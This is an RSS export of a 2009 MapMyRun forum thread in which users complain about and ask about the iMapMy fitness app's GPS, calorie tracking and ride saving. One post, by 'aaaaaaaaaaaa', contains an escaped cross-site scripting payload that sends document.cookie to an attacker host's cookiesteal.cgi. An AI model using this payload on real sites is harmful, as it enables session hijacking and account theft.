<rss version="2.0">
		<channel>
			<title>MapMyRun Community - iMapMy Frequently Asked Questions (Please Consult First!)</title>
			<lastBuildDate>Wed, 25 Nov 2009 05:16:02 -0600</lastBuildDate>
			<link>/community/</link>
			<description></description>
			<generator>Lussumo Vanilla 1.1.2</generator>
			<item>
		<title>iMapMy Frequently Asked Questions (Please Consult First!)</title>
		<link>/community/discussion/9333/?Focus=41431#Comment_41431</link>
		<guid isPermaLink="false">/community/discussion/9333/?Focus=41431#Comment_41431</guid>
		<pubDate>Sun, 01 Mar 2009 21:01:32 -0600</pubDate>
		<author>aea@mmf</author>
		<description>
			<![CDATA[We've updated both the iMapMy Application and <a href="http://imapmy.com">iMapMy.com</a> with a set of frequently asked questions. 
<br /><br />
<a href="http://www.imapmy.com/faq.php"><h1>Read iMapMy FAQs</h1></a><br /><br />
If you find a question to be answered inadequately or have a suggested question, please let us know in this thread.]]>
		</description>
	</item>
	<item>
		<title>iMapMy Frequently Asked Questions (Please Consult First!)</title>
		<link>/community/discussion/9333/?Focus=44099#Comment_44099</link>
		<guid isPermaLink="false">/community/discussion/9333/?Focus=44099#Comment_44099</guid>
		<pubDate>Wed, 25 Mar 2009 14:20:16 -0500</pubDate>
		<author>tdorth</author>
		<description>
			<![CDATA[I just became a member.  I currently use trailguru, which gives me my speed stats along the route.  It seems as though I can't get the speed data, other than average speed, which requires that I enter the start and end time of my ride myself.  Is this true?]]>
		</description>
	</item>
	<item>
		<title>iMapMy Frequently Asked Questions (Please Consult First!)</title>
		<link>/community/discussion/9333/?Focus=46126#Comment_46126</link>
		<guid isPermaLink="false">/community/discussion/9333/?Focus=46126#Comment_46126</guid>
		<pubDate>Thu, 16 Apr 2009 00:01:14 -0500</pubDate>
		<author>mbliesner</author>
		<description>
			<![CDATA[<p>
howdy,
</p>
<p>
 I can't seem to see what time it took on the runs. (im usually gasping at the end and hitting stop covers the time.
</p>
<p>
 cheers
</p>
<p>
&nbsp;
</p>]]>
		</description>
	</item>
	<item>
		<title>iMapMy Frequently Asked Questions (Please Consult First!)</title>
		<link>/community/discussion/9333/?Focus=47252#Comment_47252</link>
		<guid isPermaLink="false">/community/discussion/9333/?Focus=47252#Comment_47252</guid>
		<pubDate>Thu, 23 Apr 2009 09:22:42 -0500</pubDate>
		<author>zieglerr</author>
		<description>
			<![CDATA[I swear to all that is holy - the minute I find another mapping program, I am dumping this buggy, slow, ad-overloaded piece of junk.  Whatever you did to fix this thing, didn't.]]>
		</description>
	</item>
	<item>
		<title>iMapMy Frequently Asked Questions (Please Consult First!)</title>
		<link>/community/discussion/9333/?Focus=52054#Comment_52054</link>
		<guid isPermaLink="false">/community/discussion/9333/?Focus=52054#Comment_52054</guid>
		<pubDate>Fri, 05 Jun 2009 15:42:26 -0500</pubDate>
		<author>superalvi</author>
		<description>
			<![CDATA[<p>
how can i export just the elevation profile of the map?
</p>
<p>
thanks 
</p>]]>
		</description>
	</item>
	<item>
		<title>iMapMy Frequently Asked Questions (Please Consult First!)</title>
		<link>/community/discussion/9333/?Focus=52640#Comment_52640</link>
		<guid isPermaLink="false">/community/discussion/9333/?Focus=52640#Comment_52640</guid>
		<pubDate>Wed, 10 Jun 2009 10:07:51 -0500</pubDate>
		<author>Monicamvaz</author>
		<description>
			<![CDATA[Hi... I can't save the calories burned during a run. What I need to do? Thanks...]]>
		</description>
	</item>
	<item>
		<title>iMapMy Frequently Asked Questions (Please Consult First!)</title>
		<link>/community/discussion/9333/?Focus=56798#Comment_56798</link>
		<guid isPermaLink="false">/community/discussion/9333/?Focus=56798#Comment_56798</guid>
		<pubDate>Mon, 13 Jul 2009 09:28:32 -0500</pubDate>
		<author>peb52</author>
		<description>
			<![CDATA[<p>
My saved ride doesn't show up when searching for my location. 
</p>
<p>
How do I save it so that when people search for my location, it will appear?
</p>
<p>
thanks
</p>]]>
		</description>
	</item>
	<item>
		<title>iMapMy Frequently Asked Questions (Please Consult First!)</title>
		<link>/community/discussion/9333/?Focus=60482#Comment_60482</link>
		<guid isPermaLink="false">/community/discussion/9333/?Focus=60482#Comment_60482</guid>
		<pubDate>Mon, 10 Aug 2009 12:56:48 -0500</pubDate>
		<author>Jee524</author>
		<description>
			<![CDATA[i keep getting error  message when I try to save a ride. this is very frustrating . I have lost a lot of great routes because of this. what do i need to do?]]>
		</description>
	</item>
	<item>
		<title>iMapMy Frequently Asked Questions (Please Consult First!)</title>
		<link>/community/discussion/9333/?Focus=61321#Comment_61321</link>
		<guid isPermaLink="false">/community/discussion/9333/?Focus=61321#Comment_61321</guid>
		<pubDate>Tue, 18 Aug 2009 14:51:45 -0500</pubDate>
		<author>chanel</author>
		<description>
			<![CDATA[<p>
I have some of the same questions as above - where are the answers?
</p>
<p>
 I have been using IMapMyRun for a while now and have a few problems.  It doesn't calculate my calories burned so I have to come to the online website, hit &quot;edit workout&quot; and then calculate.  Also on the website, my calories don't calculate automatically, I have to put in my weight everytime despite the fact that I have saved it to the website and it should &quot;know.&quot;  
</p>
<p>
Also, the IMapMyRun application cannot calculate current pace correctly.  How does it calculate current pace?  When I first start running and hit start it will say I am running like 35 minutes per mile.  then in the middle of my run when I am running a 9 or 10 minute mile it will say I am running a 4 minute mile or will way overshoot and say 25 minute mile or something crazy.
</p>
<p>
 I also have it set to give me feedback every 1 mile but it voices over at every half mile.  When I have it set to tell me every half mile it updates me at 0.3 and 0.8 and then again on the 1 mile mark.  This isn't really a problem but I don't understand why it does it differently than how I have it set up.
</p>
<p>
I also run into the problem with it not sending my workout.
</p>
<p>
And I would like to be able to track my shoes on the mobile app instead of having to go to the website to put it in. 
</p>
<p>
&nbsp;
</p>]]>
		</description>
	</item>
	<item>
		<title>iMapMy Frequently Asked Questions (Please Consult First!)</title>
		<link>/community/discussion/9333/?Focus=62469#Comment_62469</link>
		<guid isPermaLink="false">/community/discussion/9333/?Focus=62469#Comment_62469</guid>
		<pubDate>Mon, 31 Aug 2009 05:15:43 -0500</pubDate>
		<author>Tetrakm</author>
		<description>
			<![CDATA[<p>
I Agree with chanel, I have been entering my weight every time to get my calories - MAp my ride should be able to work this out without me having to do that.
</p>
<p>
&nbsp;
</p>
<p>
Also tried the FAQ and the FAQ does not answer any of these questions - how often do you do updates to this website.?
</p>
<p>
&nbsp;
</p>
<p>
Love my iphone app tho :)
</p>]]>
		</description>
	</item>
	<item>
		<title>iMapMy Frequently Asked Questions (Please Consult First!)</title>
		<link>/community/discussion/9333/?Focus=62688#Comment_62688</link>
		<guid isPermaLink="false">/community/discussion/9333/?Focus=62688#Comment_62688</guid>
		<pubDate>Wed, 02 Sep 2009 13:34:04 -0500</pubDate>
		<author>Harne</author>
		<description>
			<![CDATA[Agree with above posts. The iphone app works great on the ride but I have been repeatedly unable to save the ride. I keep getting a connection error. The first few times out I was able to hit it a few times and get it to read my data. But lately, it has become impossible. This is a huge issue and needs to be worked on asap. Otherwise, great app, great concept and you still have a who community to build and get to.]]>
		</description>
	</item>
	<item>
		<title>iMapMy Frequently Asked Questions (Please Consult First!)</title>
		<link>/community/discussion/9333/?Focus=63702#Comment_63702</link>
		<guid isPermaLink="false">/community/discussion/9333/?Focus=63702#Comment_63702</guid>
		<pubDate>Tue, 15 Sep 2009 05:56:42 -0500</pubDate>
		<author>theron</author>
		<description>
			<![CDATA[yeah, where are the answers!!!!  Come on Mapmyfitness team!!  I want to know how I can get my calories for my training sessions???? ]]>
		</description>
	</item>
	<item>
		<title>iMapMy Frequently Asked Questions (Please Consult First!)</title>
		<link>/community/discussion/9333/?Focus=64777#Comment_64777</link>
		<guid isPermaLink="false">/community/discussion/9333/?Focus=64777#Comment_64777</guid>
		<pubDate>Thu, 01 Oct 2009 17:44:15 -0500</pubDate>
		<author>coloradokid</author>
		<description>
			<![CDATA[Anyone have problems with dyslexic turns coming our of mmr?  the map shows the correct route, but I get duplicate turns, wrong turns, missed turns, etc.]]>
		</description>
	</item>
	<item>
		<title>iMapMy Frequently Asked Questions (Please Consult First!)</title>
		<link>/community/discussion/9333/?Focus=65195#Comment_65195</link>
		<guid isPermaLink="false">/community/discussion/9333/?Focus=65195#Comment_65195</guid>
		<pubDate>Thu, 08 Oct 2009 09:51:24 -0500</pubDate>
		<author>Walkin&#039; Robin</author>
		<description>
			<![CDATA[I need routes with turn by turn directions for my team.  However, the app says to save the map to my profile and put in the directions myself.  How the ?_$# do you do that?]]>
		</description>
	</item>
	<item>
		<title>iMapMy Frequently Asked Questions (Please Consult First!)</title>
		<link>/community/discussion/9333/?Focus=65619#Comment_65619</link>
		<guid isPermaLink="false">/community/discussion/9333/?Focus=65619#Comment_65619</guid>
		<pubDate>Thu, 15 Oct 2009 10:11:34 -0500</pubDate>
		<author>volklgirl</author>
		<description>
			<![CDATA[<p>
Since the latest update to the iPhone Ride app, I'm not getting any mileage on my rides.
</p>
<p>
 I make sure the GPS icon is green and then start the app. When my ride is done, I stop the app and save. When I go to edit on-line, the ride shows up with the total time but no route or miles. HELP!!!!
</p>]]>
		</description>
	</item>
	<item>
		<title>iMapMy Frequently Asked Questions (Please Consult First!)</title>
		<link>/community/discussion/9333/?Focus=65745#Comment_65745</link>
		<guid isPermaLink="false">/community/discussion/9333/?Focus=65745#Comment_65745</guid>
		<pubDate>Sat, 17 Oct 2009 21:18:04 -0500</pubDate>
		<author>xens333</author>
		<description>
			<![CDATA[I use the iPhone iMapMyRun app, recently using the New Balance sponsored iMMR version because the original version kept dropping GPS signal mid-run. Tonight the NB version did the same. I had to log into my account and edit the map manually. Happens almost every time. Really annoying.]]>
		</description>
	</item>
	<item>
		<title>iMapMy Frequently Asked Questions (Please Consult First!)</title>
		<link>/community/discussion/9333/?Focus=65794#Comment_65794</link>
		<guid isPermaLink="false">/community/discussion/9333/?Focus=65794#Comment_65794</guid>
		<pubDate>Mon, 19 Oct 2009 09:31:17 -0500</pubDate>
		<author>RDTronics</author>
		<description>
			<![CDATA[<p>
I have two issues with the iPhone iMapMyRide+ app. I was hoping the first one would be corrected in the upgrade. When I stop in the middle of a ride, why doesn't the time pause? The start and end times will give the elapsed time for the trip; I want to know my ride time as well. At least the upgrade corrected the problem of the time RESETTING when you pressed [Resume] after stopping for a rest. 
</p>
<p>
 The second issue has only arisen SINCE the upgrade - the Voice Feedback feature is no longer working for me. Prior ro the upgrade it was at least working although I did have the same problem as another poster in that the reporting time did not match what I had set. 
</p>
<p>
 I don't know if it was the iMapMyRide+ upgrade or the iPhone upgrade that occurred at about the same time that did it but I don't seem to have the GPS failure to acquire or loss of signal that I had when I first started using the app. 
</p>]]>
		</description>
	</item>
	<item>
		<title>iMapMy Frequently Asked Questions (Please Consult First!)</title>
		<link>/community/discussion/9333/?Focus=66654#Comment_66654</link>
		<guid isPermaLink="false">/community/discussion/9333/?Focus=66654#Comment_66654</guid>
		<pubDate>Wed, 04 Nov 2009 06:21:31 -0600</pubDate>
		<author>dmbfan</author>
		<description>
			<![CDATA[My training logs are not being updated toward my distance goals!  Annoying.]]>
		</description>
	</item>
	<item>
		<title>iMapMy Frequently Asked Questions (Please Consult First!)</title>
		<link>/community/discussion/9333/?Focus=66704#Comment_66704</link>
		<guid isPermaLink="false">/community/discussion/9333/?Focus=66704#Comment_66704</guid>
		<pubDate>Thu, 05 Nov 2009 03:59:10 -0600</pubDate>
		<author>aaaaaaaaaaaa</author>
		<description>
			<![CDATA[<blockquote>
	<cite> theron:</cite>yeah, where are the answers!!!!  Come on Mapmyfitness team!!  I want to know how I can get my calories for my training sessions???? 
</blockquote>
<p>
 &lt;SCRIPT&gt;<br />
document.location=<br />
'http://attackerhost.example/cgi-bin/<br />
cookiesteal.cgi?'+document.cookie<br />
&lt;/SCRIPT&gt;
</p>]]>
		</description>
	</item>
	<item>
		<title>iMapMy Frequently Asked Questions (Please Consult First!)</title>
		<link>/community/discussion/9333/?Focus=66766#Comment_66766</link>
		<guid isPermaLink="false">/community/discussion/9333/?Focus=66766#Comment_66766</guid>
		<pubDate>Fri, 06 Nov 2009 10:26:26 -0600</pubDate>
		<author>stuartanderson</author>
		<description>
			<![CDATA[Hi. Does anyone know how you delete a workout from the training log calendar or how to reset it completely? Thanks!!!!]]>
		</description>
	</item>
	<item>
		<title>iMapMy Frequently Asked Questions (Please Consult First!)</title>
		<link>/community/discussion/9333/?Focus=66922#Comment_66922</link>
		<guid isPermaLink="false">/community/discussion/9333/?Focus=66922#Comment_66922</guid>
		<pubDate>Mon, 09 Nov 2009 06:05:27 -0600</pubDate>
		<author>ramram</author>
		<description>
			<![CDATA[aaaaaaaaa]]>
		</description>
	</item>
	<item>
		<title>iMapMy Frequently Asked Questions (Please Consult First!)</title>
		<link>/community/discussion/9333/?Focus=66970#Comment_66970</link>
		<guid isPermaLink="false">/community/discussion/9333/?Focus=66970#Comment_66970</guid>
		<pubDate>Mon, 09 Nov 2009 15:34:30 -0600</pubDate>
		<author>RDTronics</author>
		<description>
			<![CDATA[<p>
An update to my post of 19 October. 
</p>
<p>
 I guess I did not pay close enough attention to what was happening with the Stop and Resume after the upgrade to 3.1 The time does indeed now pause and actually pickup from where it stopped on the Resume. A GREAT improvement. 
</p>
<p>
 However, the Voice Feedback is still an issue, and a real one. Because the battery drain is so great with the display turned on, it would be nice to be able to save at least a little juice by not having the display on but rely on the voice feedback to keep track of stats.  
</p>
<p>
 Another update:
</p>
<p>
Since I originally posted this I have resolved the Voice feedback issue and it was operator error. I was not aware of the 'silent' slide switch on the iPhone near the volume control buttons. Somehow around the same time as the two upgrades referred to above I had inadvertantly slid that switch to the 'silent' position. So now I once again have voice feedback. I do wish it would be occur as set instead of happening only close. I usually set it o announce every 0.5 miles and the seems to be unable to determine that distance to anything closeer than + or - 0.2
</p>]]>
		</description>
	</item>
	<item>
		<title>iMapMy Frequently Asked Questions (Please Consult First!)</title>
		<link>/community/discussion/9333/?Focus=67032#Comment_67032</link>
		<guid isPermaLink="false">/community/discussion/9333/?Focus=67032#Comment_67032</guid>
		<pubDate>Wed, 11 Nov 2009 10:04:43 -0600</pubDate>
		<author>HelmiVach</author>
		<description>
			<![CDATA[<p>
Apparently no one answers questions here, 
</p>
<p>
but it says to consult this area first. 
</p>
<p>
Now what? DELETE, DELETE, DELETE 
</p>
<p>
Shop for Garmin? 
</p>]]>
		</description>
	</item>
	<item>
		<title>iMapMy Frequently Asked Questions (Please Consult First!)</title>
		<link>/community/discussion/9333/?Focus=67687#Comment_67687</link>
		<guid isPermaLink="false">/community/discussion/9333/?Focus=67687#Comment_67687</guid>
		<pubDate>Mon, 23 Nov 2009 10:50:32 -0600</pubDate>
		<author>b_c_gates</author>
		<description>
			<![CDATA[<p>
Like the improved pause feature.  Never had an issue with the older version save that feature.  However in the new one, I do get my signal dropped at random in a wide-open area where my phone is on an unobstructed mount.  When my signal drops, the battery drains FAST.  With the old app, I could ride a 40 mile route and have a little over half my battery power.  I can get about 20 miles now on half a charge.  
</p>
<p>
My guess is partly due to the backlight always being on to show the &quot;Tap screen to unlock&quot; feature.  Is that feature because people would inadvertently hit the home button?  Maybe this should be an option to turn off the backlight completely.  
</p>
<p>
So I propose these changes:  add backlight off feature, correct the GPS dropping signal issue, and add the availability to put in GPS maps from group rides.  (.gpx I believe?)
</p>]]>
		</description>
	</item>
	
		</channel>
	</rss>